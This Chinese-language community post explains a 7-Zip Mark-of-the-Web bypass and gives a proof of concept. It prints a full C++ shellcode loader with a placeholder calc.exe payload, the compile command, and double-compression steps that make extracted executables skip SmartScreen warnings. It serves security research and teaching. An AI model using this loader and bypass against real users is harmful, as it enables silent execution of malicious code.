
此漏洞(CVSS 评分为 7.0)允许远程攻击者绕过受影响 7-Zip 安装中的 Mark-of-the-Web(网络标记)保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体缺陷存在于处理归档文件时。当从带有网络标记的特制存档中提取文件时,7-Zip 不会将网络标记传播到提取的文件。攻击者可利用此漏洞在当前用户上下文中执行任意代码。
作为 POC 的一部分,我们实现了一个简单的 calc.exe 加载器(Shellcode Loader),用于演示代码执行过程。
这是一个用 C++ 编写的 Windows Shellcode 加载器。它负责在内存中分配空间,复制并执行 Shellcode。
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
DWORD oldprotect = 0;
// 存放 Shellcode 的数组 (示例中为 calc.exe 的 Shellcode)
unsigned char p[] = {
//calc.exe shellcode
};
// 计算 Shellcode 长度
unsigned int len = sizeof(p);
// 在进程中申请可读可写内存
void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将 Shellcode 复制到申请的内存中
RtlMoveMemory(payload_mem, p, len);
// 将内存保护属性修改为可执行,防止 DEP 拦截
BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
// 如果属性修改成功,则创建线程执行 Shellcode
if ( rv != 0 ) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
// 等待线程执行完毕
WaitForSingleObject(th, -1);
}
return 0;
}
// 编译命令(使用 MinGW-w64):
// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s利用方法是对可执行文件进行双重压缩,从而触发漏洞。
loader.exe 进行两层压缩,制作成 7z 文件。使用 7-Zip 24.09 版本(已修复)打开文件时,会显示 Windows SmartScreen 警告,提示此文件来自不受信任的来源(因为它包含了 MotW)。
使用 7-Zip 24.07 版本(易受攻击)打开文件时,可以直接执行可执行文件,而不显示任何警告(因为提取的文件不包含 MotW)。
本 POC 项目演示了以下核心环节:
本 POC 主要用于安全研究与教学目的。
loader.cpp 代码,生成 loader.exe。x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -sloader.exe 压缩两次,生成嵌套的 .7z 文件。.7z 文件放在一个 Web 服务器上,或添加 Zone.Identifier 流以模拟从网络下载。免责声明:此代码仅用于教育和授权测试。请勿将其用于非法活动。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。